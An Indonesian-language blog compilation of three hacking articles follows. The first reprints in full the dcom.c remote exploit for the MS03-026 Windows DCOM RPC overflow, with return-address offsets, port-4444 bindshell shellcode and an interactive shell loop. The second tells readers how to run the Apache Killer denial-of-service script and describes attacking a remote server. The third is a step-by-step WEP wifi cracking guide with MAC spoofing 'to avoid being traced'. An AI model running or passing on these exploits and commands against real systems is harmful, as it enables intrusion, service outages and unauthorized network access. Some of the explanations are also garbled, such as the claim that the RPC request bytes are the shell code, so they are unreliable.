Memahami Eksploitasi dan Kebutuhan Metasploit (1)

Memahami Istilah-istilah Dasar
  • Vulnerability/Kerentanan – Kelemahan yang membuat seorang penyusup dapat masuk / mengganggu keamanan sistem
  • Exploit – Kode yang membuat seorang penyusup/penyerang mendapatkan keuntungan dari sebuah sistem yang vulnerable/rentan
  • Payload – kode aktual yang dijalankan pada sistem setelah ekploitasi
Ilustrasi :
Secara diagram, penemuan Vulnerability, perlakuan Exploitasi dan Pemuatan Payload dapat digambarkan seperti berikut :
 
Contoh Vulnerability :
Banyak database vulnerability di internet. Pengelola Blog ini juga sudah mulai mencoba merangkumnya dalam bagian khusus di blog ini : http://tanyarezaervani.wordpress.com/vulnerability-database/
Salah satu contoh vulnerability kita dapatkan dari : http://technet.microsoft.com/en-us/security/bulletin/ms03-026, yang secara lengkap tertulis sebagai berikut :

Buffer Overrun In RPC Interface Could Allow Code Execution (823980)

Originally posted : July 16, 2003
Revised: September 10, 2003

Summary

Who should read this bulletin:
Users running Microsoft ® Windows ®
Impact of vulnerability:
Run code of attacker’s choice
Maximum Severity Rating:
Critical
Recommendation:
Systems administrators should apply the patch immediately
Protect your PC:
Additional information on how you can help protect your PC is available at the following locations:
Affected Software:
  • Microsoft Windows NT® 4.0
  • Microsoft Windows NT 4.0 Terminal Services Edition
  • Microsoft Windows 2000
  • Microsoft Windows XP
  • Microsoft Windows Server™ 2003
Not Affected Software:
  • Microsoft Windows Millennium Edition
Anda juga dapat melihat keterangan teknis seputar Vulnerability yang dimaksud di situs diatas.
Contoh Exploit + Payload :
Salah satu Proof of Concept untuk melakukan eksploitasi terhadap Vulnerability diatas adalah file bernama dcom.c dengan struktur dibawah ini :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
/*
  DCOM RPC Overflow Discovered by LSD
 
  Based on FlashSky/Benjurry's Code
 
  Written by H D Moore
 
  - Usage: ./dcom
  - Targets:
  -          0    Windows 2000 SP0 (english)
  -          1    Windows 2000 SP1 (english)
  -          2    Windows 2000 SP2 (english)
  -          3    Windows 2000 SP3 (english)
  -          4    Windows 2000 SP4 (english)
  -          5    Windows XP SP0 (english)
  -          6    Windows XP SP1 (english)
 
*/
 
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
 
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
 
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
 
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
 
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
 
unsigned char *targets [] =
        {
            "Windows 2000 SP0 (english)",
            "Windows 2000 SP1 (english)",
            "Windows 2000 SP2 (english)",
            "Windows 2000 SP3 (english)",
            "Windows 2000 SP4 (english)",
            "Windows XP SP0 (english)",
            "Windows XP SP1 (english)",
             NULL
        };
 
unsigned long offsets [] =
        {
            0x77e81674,
            0x77e829ec,
            0x77e824b5,
            0x77e8367a,
            0x77f92a9b,
            0x77e9afe3,
            0x77e626ba,
        };
 
unsigned char sc[]=
    "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
    "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
    "\x46\x00\x58\x00\x46\x00\x58\x00"
 
    "\xff\xff\xff\xff" /* return address */
 
    "\xcc\xe0\xfd\x7f" /* primary thread data block */
    "\xcc\xe0\xfd\x7f" /* primary thread data block */
 
    /* port 4444 bindshell */
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
 
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
 
/* ripped from TESO code */
void shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;
 
        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);
 
                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l                                 printf("\n - Connection closed by local user\n");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }
 
                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf ("\n - Connection closed by remote host.\n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                printf ("\n - Read failure\n");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}
 
int main(int argc, char **argv)
{
 
    int sock;
    int len,len1;
    unsigned int target_id;
    unsigned long ret;
    struct sockaddr_in target_ip;
    unsigned short port = 135;
    unsigned char buf1[0x1000];
    unsigned char buf2[0x1000];
 
    printf("---------------------------------------------------------\n");
    printf("- Remote DCOM RPC Buffer Overflow Exploit\n");
    printf("- Original code by FlashSky and Benjurry\n");
    printf("- Rewritten by HDM \n");
 
    if(argc    {
        printf("- Usage: %s  \n", argv[0]);
        printf("- Targets:\n");
        for (len=0; targets[len] != NULL; len++)
        {
            printf("-          %d\t%s\n", len, targets[len]);
        }
        printf("\n");
        exit(1);
    }
 
    /* yeah, get over it <img src="http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif?m=1129645325g" alt=":)" class="wp-smiley">  */
    target_id = atoi(argv[1]);
    ret = offsets[target_id];
 
    printf("- Using return address of 0x%.8x\n", ret);
 
    memcpy(sc+36, (unsigned char *) &ret, 4);
 
    target_ip.sin_family = AF_INET;
    target_ip.sin_addr.s_addr = inet_addr(argv[2]);
    target_ip.sin_port = htons(port);
 
    if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
    {
        perror("- Socket");
        return(0);
    }
 
    if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
    {
        perror("- Connect");
        return(0);
    }
 
    len=sizeof(sc);
    memcpy(buf2,request1,sizeof(request1));
    len1=sizeof(request1);
 
    *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
    *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
 
    memcpy(buf2+len1,request2,sizeof(request2));
    len1=len1+sizeof(request2);
    memcpy(buf2+len1,sc,sizeof(sc));
    len1=len1+sizeof(sc);
    memcpy(buf2+len1,request3,sizeof(request3));
    len1=len1+sizeof(request3);
    memcpy(buf2+len1,request4,sizeof(request4));
    len1=len1+sizeof(request4);
 
    *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
 
    *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
 
    if (send(sock,bindstr,sizeof(bindstr),0)== -1)
    {
            perror("- Send");
            return(0);
    }
    len=recv(sock, buf1, 1000, 0);
 
    if (send(sock,buf2,len1,0)== -1)
    {
            perror("- Send");
            return(0);
    }
    close(sock);
    sleep(1);
 
    target_ip.sin_family = AF_INET;
    target_ip.sin_addr.s_addr = inet_addr(argv[2]);
    target_ip.sin_port = htons(4444);
 
    if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
    {
        perror("- Socket");
        return(0);
    }
 
    if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
    {
        printf("- Exploit appeared to have failed.\n");
        return(0);
    }
 
    printf("- Dropping to System Shell...\n\n");
 
    shell(sock);
 
    return(0);
}
Beberapa Keterangan :
Perhatikan bagian :
1
2
3
4
5
6
7
8
9
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00 ........
Bagian ini yang disebut dengan Kode Shell.
Lalu perhatikan bagian yang ini :
1
2
3
4
5
6
7
8
9
/* port 4444 bindshell */
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9 ......
Inilah payload yang dimaksud, yang berupaya menemukan port 4444. Jika exploit berhasil maka payload ini akan dijalankan di komputer target dan akan berjalan memanfaatkan port yang dimaksud.

Sumber dari : http://tanyarezaervani.wordpress.com

Menyerang Server dengan Apache Killer

Untuk menjalankannya anda hanya perlu menambahkan modul parallel-forkmanager, di Ubuntu dapat diinstall dengan cara :
sudo apt-get install libparallel-forkmanager-perl
Setelah itu apachekiller dapat dijalankan dengan perintah :
perl apachekiller.pl <targethost> <jumlahserangan>
Berikut contoh penggunaan dan efek dari sebuah serangan Apache Killer pada Server :
Pertama kita cek terlebih dahulu versi Apache di Komputer target (Dalam hal ini penulis menggunakan localhost). Cek versi dapat dilakukan dengan perintah
apache2 -v
Contoh :
rezaervani@rezaervani-laptop:~/Documents/ISO$ apache2 -v
Server version: Apache/2.2.14 (Ubuntu)
Server built:   Nov 18 2010 21:17:19
Untuk membuktikannya, kita akan jalankan Apache Killer yang menargetkan localhost ini.
Saat dijalankan, program akan menunjukkan apakah host yang diserang vulnerable atau tidak, seperti tampak pada gambar berikut (Klik untuk melihat dalam ukuran yang lebih besar) :
Keterangan Bahwa Host yang kita targetkan Vulnerable
Yang terjadi saat serangan pada CPU dan Memori Server tampak seperti pada screenshot berikut (klik untuk memperbesar) :
Kondisi Memori dan CPU saat menerima serangan Apache Killer
Jika diteruskan, maka dapat dipastikan komputer target akan down.
Yang sangat berbahaya apachekiller dapat dengan mudah menargetkan host apa saja secara remote
Berikut penulis contohkan serangan yang terjadi secara remote ke server Rumah Ilmu Indonesia (klik untuk memperbesar) :
Serangan Remote Apache Killer
Jadi sebelum terjadi sesuatu yang tidak anda harapkan di server yang anda kelola, segeralah update Apache anda.

Sumber dari http://tanyarezaervani.wordpress.com/2011/09/02/artikel-khusus-menyerang-server-dengan-apache-killer/

Cara Hack WIFI dengan Backtrack

LANGKAH UNTUK HACK PASSWORD ATAU WIRELESS WIFI

1. Dapatkan CD Backtrack-Linux. Backtrack Linux Live CD (Linux terbaik tersedia untuk hacker dengan lebih dari 2000 hacking tools built-in).
Download Backtrack Linux Live CD dari sini: http://free-downloas.blogspot.com/2012/01/free-download-backtrack-5.html

2. SCAN UNTUK MENDAPATKAN KORBAN


Dapatkan korban serangan itu adalah password yang ingin Anda hack atau crack.
Sekarang Masukkan Backtrack Linux CD ke dalam drive CD Anda dan memulainya. Setelah itu klik mulai pada kotak hitam di sudut kiri bawah untuk memuat sebuah "Konsole". Sekarang Anda harus mulai kartu Wifi. Untuk melakukannya ketik:
airmon-ng

Anda akan melihat nama kartu nirkabel Anda. (saya adalah bernama "ath0") Dari sini anda keluar, ganti nama kartu anda dengan "ath0". Sekarang ketik:
airmon-ng stop ath0

kemudian ketik:

ifconfig wifi0 down


kemudian ketik:


macchanger --mac 00:11:22:33:44:55 wifi0


kemudian ketik:

airmon-ng start wifi0

langkah-langkah di atas telah menjelaskan unt memalsukan diri dari dilacak. Pada langkah di atas kita spoofing MAC address kita, ini akan membuat kita tidak dapat ditemukan.

sekarang ketik:

airodump-ng ath0

Semua langkah di atas dalam satu screen shot:




Sekarang Anda akan melihat daftar jaringan nirkabel di Konsole. Beberapa akan memiliki sinyal yang lebih baik dari yang lain dan selalu nya ide yang baik untuk memilih satu yang memiliki kekuatan sinyal yang terbaik selain itu akan memakan waktu yang sangat besar untuk crack atau hack password atau Anda mungkin tidak dapat retak sama sekali.
Setelah Anda melihat daftar jaringan, sekarang pilih jaringan yang ingin Anda hack. Untuk membekukan layar airodump TAHAN tombol CNTRL dan Tekan C.
Sekarang Anda akan melihat sesuatu seperti ini:

3. MEMILIH JARINGAN UNTUK HACKING

Sekarang menemukan jaringan yang ingin Anda hack dan PASTIKAN bahwa ia mengatakan enkripsi untuk jaringan yang WEP. Jika tertulis WPA atau variasi WPA kemudian berpindah ... Anda masih dapat crack WPA dengan mundur dan beberapa alat lainnya tetapi adalah permainan bola seluruh lain dan Anda perlu menguasai WEP pertama.

Setelah Anda memutuskan jaringan, mencatat nomor saluran dan BSSID. BSSID akan terlihat seperti ini -

00:23:69:bb:2d:of


Jumlah Channel akan berada di bawah sebuah heading yang mengatakan "CH".
Seperti ditunjukkan dalam gambar ini:

Sekarang di Konsole jenis jendela yang sama:

airodump-ng -c (channel) -w (file name) --bssid (bssid) ath0


Sekarang di jendela yang sama jenis Konsole: Nama file dapat apa pun yang Anda inginkan. File ini adalah tempat di mana airodump akan menyimpan paket info yang Anda terima untuk kemudian retak. Anda bahkan tidak dimasukkan dalam ekstensi ... hanya memilih kata acak yang akan Anda ingat. Saya biasanya membuat saya "Ben" karena saya selalu bisa mengingatnya. Its hanya karena i love Ben10 .... hhahahahaha: D

Catatan: Jika Anda ingin retak lebih dari satu jaringan dalam sesi yang sama, Anda harus memiliki nama file yang berbeda untuk setiap satu atau itu tidak akan berhasil. Saya biasanya nama mereka sebagai ben1, ben2 dll

